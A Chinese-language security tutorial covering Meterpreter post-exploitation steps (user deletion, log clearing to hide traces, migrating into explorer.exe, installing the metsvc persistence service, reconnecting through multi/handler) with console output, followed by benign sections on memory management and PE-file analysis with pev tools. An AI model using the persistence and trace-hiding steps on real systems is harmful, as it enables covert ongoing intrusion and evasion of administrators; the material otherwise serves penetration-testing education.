网络安全技术:Meterpreter操作与可移植可执行文件分析
1. Meterpreter的其他功能与日志清理
Meterpreter具备多种功能,例如若曾创建过用户,可运行后渗透模块
delete_user
来删除用户。不过,添加和删除用户的操作会记录在日志中,所以需清理日志以消除操作痕迹。但要注意,并非所有系统都将日志存于本地,清理本地日志不意味着远程系统未存储相关日志,有时让操作记录混杂在大量其他日志事件中或许是更好的选择。
2. 维持对目标系统的访问
维持对目标系统的访问方法因操作系统而异,以受攻击的Windows系统为例,使用Meterpreter有效载荷,可按以下步骤操作:
1. 在Meterpreter shell中运行
ps
命令获取进程列表。
2. 选择一个可迁移的进程,如
explorer.exe
(PID为5088),使用
migrate 5088
命令将Meterpreter shell的可执行代码迁移到该进程空间。
3. 运行
metsvc
安装Meterpreter服务,该服务监听3137端口。
以下是具体示例:
5060 952 dwm.exe x64 1 VAGRANT - 2008R2\v C:\Windows\system
agrant 32\Dwm.exe
5088 5052 explorer.e x64 1 VAGRANT - 2008R2\v C:\Windows\Explor
xe agrant er.EXE
6068 468 svchost.ex x64 0 NT AUTHORITY\LOC
e AL SERVICE
6096 468 msdtc.exe x64 0 NT AUTHORITY\NET
WORK SERVICE
meterpreter > migrate 5088
[*] Migrating from 1104 to 5088...
[*] Migration completed successfully.
meterpreter > run metsvc
[!] Meterpreter scripts are deprecated. Try
exploit/windows/local/persistence.
[!] Example: run exploit/windows/local/persistence OPTION=value [...]
[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory ↩
C:\Users\vagrant\AppData\Local\Temp\1\zeKXWOsROH...
[*] >> Uploading metsrv.x86.dll...
[*] >> Uploading metsvc - server.exe...
[*] >> Uploading metsvc.exe...
[*] Starting the service...
* Installing service metsvc
* Starting service
Service metsvc successfully installed.
meterpreter > shell
Process 1296 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>net start
net start
These Windows services are started:
Apache Tomcat 8.0 Tomcat8
Application Experience
MEDC Server Component - Apache
MEDC Server Component - Notification Server
Meterpreter
Microsoft FTP Service
再次访问该系统时,可在Metasploit中使用
multi/handler
模块,具体步骤如下:
1. 加载
multi/handler
模块:
use exploit/multi/handler
。
2. 设置本地主机地址
LHOST
和端口
LPORT
:
msf6 exploit(multi/handler) > set LHOST 192.168.4.52
LHOST => 192.168.4.52
msf6 exploit(multi/handler) > set LPORT 31337
LPORT => 31337
-
运行
exploit启动反向TCP处理程序,等待与远程系统建立Meterpreter会话。
3. 操作系统与内存管理
在计算机科学中,“操作系统”常被误解,实际看到的桌面环境是操作环境,操作系统(内核)负责管理硬件交互,包括内存和处理器管理、输入输出操作。
计算机采用冯·诺依曼架构,操作系统需为进程分配内存并管理虚拟地址与物理地址的转换。虚拟地址可使进程在内存中重新定位,操作系统借助转换后备缓冲器(TLB)加速地址转换。过去内存有限时,操作系统会将进程内存分页存储到磁盘(分页操作),如今系统内存充足,分页文件可能不再必要,可通过
free -h
命令查看系统内存使用情况。
以下是Kali Linux系统的
free -h
输出示例:
┌──(kilroy@badmilo)-[~]
└─$ free -h
total used free shared buff/cache available
Mem: 7.8Gi 1.4Gi 1.9Gi 41Mi 4.8Gi 6.4Gi
Swap: 975Mi 0B 975Mi
此外,可通过
/proc
伪文件系统查看Linux系统的内存管理信息,如
/proc/meminfo
文件包含了可用内存和交换空间使用情况的统计信息。
4. 程序和进程结构
程序是存储在磁盘上的可执行文件,加载到内存后成为进程。不同操作系统使用不同的可执行文件格式,如Windows使用PE格式,Linux常用ELF格式,macOS使用Mach - O格式。
可执行文件格式为操作系统的加载器提供程序元素的布局指导,通常包含可执行代码和数据部分。以Windows的PE文件为例,其结构如下:
| 组成部分 | 说明 |
| ---- | ---- |
| DOS信息 | 包含DOS模式头和存根程序,用于兼容DOS程序 |
| 映像文件头 | 提供机器信息、节数量和符号数量等 |
| 映像可选头 | 包含入口点、基地址、子系统信息和映像大小等 |
| 节 | 如
.text
(可执行代码)、
.data
(全局变量)、
.bss
(未初始化变量)、
.rdata
(只读数据)、
.rsrc
(资源) |
Kali Linux的
pev
工具包可用于分析PE文件:
-
pescan
:提供文件的概述信息,可用于查找恶意软件的可疑标记。
-
readpe
:提取PE文件所有头的详细信息并以可读形式输出。
-
peldd
:列出PE文件依赖的外部库。
-
pesec
:检测编译器在生成代码时使用的安全特性,如地址空间布局随机化(ASLR)、数据执行保护(DEP/NX)、结构化异常处理(SEH)和栈cookie。
以下是各工具的使用示例:
┌──(kilroy@badmilo)-[~]
└─$ pescan sample.exe
file entropy: 4.981127 (normal)
fpu anti - disassembly: no
imagebase: suspicious
entrypoint: normal
DOS stub: normal
TLS directory: not found
timestamp: normal
section count: 6
sections
section
.text: normal
section
.rdata: normal
section
.data: small length
section
.pdata: small length
section
.rsrc: small length
section
.reloc: small length
┌──(kilroy@badmilo)-[~]
└─$ readpe sample.exe
DOS Header
Magic number: 0x5a4d (MZ)
Bytes in last page: 144
Pages in file: 3
Relocations: 0
Size of header in paragraphs: 4
Minimum extra paragraphs: 0
Maximum extra paragraphs: 65535
Initial (relative) SS value: 0
Initial SP value: 0xb8
Initial IP value: 0
Initial (relative) CS value: 0
Address of relocation table: 0x40
Overlay number: 0
OEM identifier: 0
OEM information: 0
PE header offset: 0xf0
COFF/File header
Machine: 0x8664 IMAGE_FILE_MACHINE_AMD64
Number of sections: 6
Date/time stamp: 1706196794 (Thu, 25 Jan 2024 15:33:14 UTC)
Symbol Table offset: 0
Number of symbols: 0
Size of optional header: 0xf0
Characteristics: 0x22
Characteristics names
IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
Optional/Image header
Magic number: 0x20b (PE32+)
Linker major version: 14
Linker minor version: 38
Size of .text section: 0x1000
Size of .data section: 0x2200
Size of .bss section: 0
Entrypoint: 0x1510
Address of .text section: 0x1000
ImageBase: 0x140000000
Alignment of sections: 0x1000
Alignment factor: 0x200
Major version of required OS: 6
Minor version of required OS: 0
Major version of image: 0
Minor version of image: 0
Major version of subsystem: 6
Minor version of subsystem: 0
Size of image: 0x8000
Size of headers: 0x400
Checksum: 0
Subsystem required: 0x3 (IMAGE_SUBSYSTEM_WINDOWS_CUI)
┌──(kilroy@badmilo)-[~]
└─$ peldd sample.exe
Dependencies
MSVCP140.dll
VCRUNTIME140_1.dll
VCRUNTIME140.dll
api - ms - win - crt - runtime - l1 - 1 - 0.dll
api - ms - win - crt - math - l1 - 1 - 0.dll
api - ms - win - crt - stdio - l1 - 1 - 0.dll
api - ms - win - crt - locale - l1 - 1 - 0.dll
api - ms - win - crt - heap - l1 - 1 - 0.dll
KERNEL32.dll
┌──(kilroy@badmilo)-[~]
└─$ pesec sample.exe
ASLR: yes
DEP/NX: yes
SEH: yes
Stack cookies (EXPERIMENTAL): no
通过上述工具和方法,可深入了解程序的结构和运行机制,有助于发现潜在的安全漏洞和恶意软件行为。
网络安全技术:Meterpreter操作与可移植可执行文件分析
5. 详细分析PE文件的安全特性
在分析PE文件时,了解其安全特性对于判断文件是否存在潜在风险至关重要。以下几种安全特性常被用于保护程序免受攻击:
- 结构化异常处理(SEH) :这是微软为C++异常处理添加的扩展,能以可控方式处理代码中的灾难性情况,防止因崩溃而导致执行流程被恶意控制。当程序出现异常时,SEH机制会接管处理,确保故障得到妥善清理。
- 栈cookie(栈金丝雀) :其作用是防止缓冲区溢出被恶意利用。在函数调用时,栈cookie会被放置在返回指针之前。当函数返回时,会检查栈cookie的值是否与初始值匹配。若不匹配,则说明栈可能已被破坏,返回地址不可信。
pesec
工具可用于检测编译器在生成代码时是否启用了这些安全特性。以下是一个示例:
┌──(kilroy@badmilo)-[~]
└─$ pesec sample.exe
ASLR: yes
DEP/NX: yes
SEH: yes
Stack cookies (EXPERIMENTAL): no
从上述输出可以看出,该PE文件启用了地址空间布局随机化(ASLR)、数据执行保护(DEP/NX)和结构化异常处理(SEH),但未启用栈cookie。
6. 利用Metasploit和PE分析工具的实际应用场景
在实际的网络安全工作中,Metasploit和PE分析工具可用于多种场景,以下是一些常见的应用:
- 漏洞利用与清理 :Metasploit可用于攻击目标系统,在成功入侵后,还能使用其功能清理操作痕迹,如删除用户、清除日志等,避免被系统管理员发现。
- 维持持久访问 :通过在目标系统上安装Meterpreter服务,可在后续随时建立连接,对目标系统进行进一步的操作,如上传和下载文件、执行命令等。
-
恶意软件分析
:使用Kali Linux的
pev工具包分析PE文件,可帮助安全人员识别恶意软件的特征,如可疑的入口点、异常的节大小等。
下面是一个简单的流程图,展示了利用Metasploit和PE分析工具的一般流程:
graph LR
A[目标系统] --> B[使用Metasploit进行攻击]
B --> C{攻击成功?}
C -- 是 --> D[安装Meterpreter服务]
C -- 否 --> B
D --> E[维持持久访问]
E --> F[获取PE文件]
F --> G[使用pev工具分析PE文件]
G --> H{是否为恶意软件?}
H -- 是 --> I[进行进一步分析和处理]
H -- 否 --> J[结束分析]
7. 总结与注意事项
通过本文的介绍,我们了解了Meterpreter的其他功能、维持对目标系统访问的方法,以及操作系统的内存管理和程序/进程结构。同时,还详细介绍了Windows PE文件的结构和Kali Linux中用于分析PE文件的工具。
在使用这些技术和工具时,需要注意以下几点:
-
日志清理
:虽然清理日志可以隐藏操作痕迹,但并非所有系统都将日志存储在本地,因此清理本地日志可能无法完全消除痕迹。在某些情况下,让操作记录混杂在大量其他日志事件中可能是更好的选择。
-
安全特性
:在分析PE文件时,要关注其安全特性,如ASLR、DEP/NX、SEH和栈cookie等。这些特性可以提高程序的安全性,但也可能被攻击者利用来绕过安全机制。
-
合法使用
:这些技术和工具仅用于合法的安全测试和研究,严禁用于非法活动。在进行任何安全测试之前,务必获得目标系统所有者的授权。
总之,掌握这些技术和工具可以帮助安全人员更好地理解程序的运行机制,发现潜在的安全漏洞,保护系统免受攻击。同时,也需要不断学习和实践,跟上网络安全领域的发展步伐。
8. 未来发展趋势
随着计算机技术的不断发展,网络安全领域也面临着新的挑战和机遇。以下是一些可能的未来发展趋势:
- 人工智能与机器学习的应用 :人工智能和机器学习技术将在网络安全领域发挥越来越重要的作用。例如,利用机器学习算法可以自动识别恶意软件的特征,提高检测的准确性和效率。
- 物联网安全 :随着物联网设备的普及,物联网安全将成为一个重要的研究领域。这些设备通常具有较低的计算能力和存储容量,容易受到攻击。因此,需要开发专门的安全技术来保护物联网设备的安全。
- 量子计算对密码学的影响 :量子计算的发展可能会对现有的密码学算法构成威胁。因此,需要研究和开发新的量子抗性密码学算法,以保障数据的安全性。
为了应对这些挑战,安全人员需要不断学习和掌握新的技术和方法,提高自己的安全意识和技能水平。同时,也需要加强国际合作,共同应对全球性的网络安全问题。
通过对Metasploit、PE文件分析等技术的深入了解和应用,我们可以更好地保护网络系统的安全,为未来的数字化社会提供坚实的保障。
超级会员免费看
1907

被折叠的 条评论
为什么被折叠?



